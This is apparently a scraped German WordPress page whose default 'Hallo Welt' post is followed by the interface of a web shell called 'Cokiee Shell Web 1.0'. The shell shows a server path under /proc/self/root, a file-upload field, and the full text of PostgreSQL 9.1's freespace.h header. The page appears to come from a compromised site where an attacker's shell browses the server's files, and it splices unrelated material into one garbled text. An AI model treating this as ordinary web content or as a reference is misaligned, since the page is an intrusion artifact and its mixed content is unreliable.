Hallo Welt!

von | Dez 3, 2019 | Allgemein | 0 Kommentare

Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!

Cokiee Shell Web

Cokiee Shell

Current Path : /proc/self/root/usr/include/postgresql/9.1/server/storage/
Upload File :
Current File : //proc/self/root/usr/include/postgresql/9.1/server/storage/freespace.h

/*-------------------------------------------------------------------------
 *
 * freespace.h
 *	  POSTGRES free space map for quickly finding free space in relations
 *
 *
 * Portions Copyright (c) 1996-2011, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * src/include/storage/freespace.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef FREESPACE_H_
#define FREESPACE_H_

#include "storage/block.h"
#include "storage/bufpage.h"
#include "storage/relfilenode.h"
#include "utils/relcache.h"

/* prototypes for public functions in freespace.c */
extern Size GetRecordedFreeSpace(Relation rel, BlockNumber heapBlk);
extern BlockNumber GetPageWithFreeSpace(Relation rel, Size spaceNeeded);
extern BlockNumber RecordAndGetPageWithFreeSpace(Relation rel,
							  BlockNumber oldPage,
							  Size oldSpaceAvail,
							  Size spaceNeeded);
extern void RecordPageWithFreeSpace(Relation rel, BlockNumber heapBlk,
						Size spaceAvail);
extern void XLogRecordPageWithFreeSpace(RelFileNode rnode, BlockNumber heapBlk,
							Size spaceAvail);

extern void FreeSpaceMapTruncateRel(Relation rel, BlockNumber nblocks);
extern void FreeSpaceMapVacuum(Relation rel);

#endif   /* FREESPACE_H_ */

Cokiee Shell Web 1.0, Coded By Razor

Kommentar absenden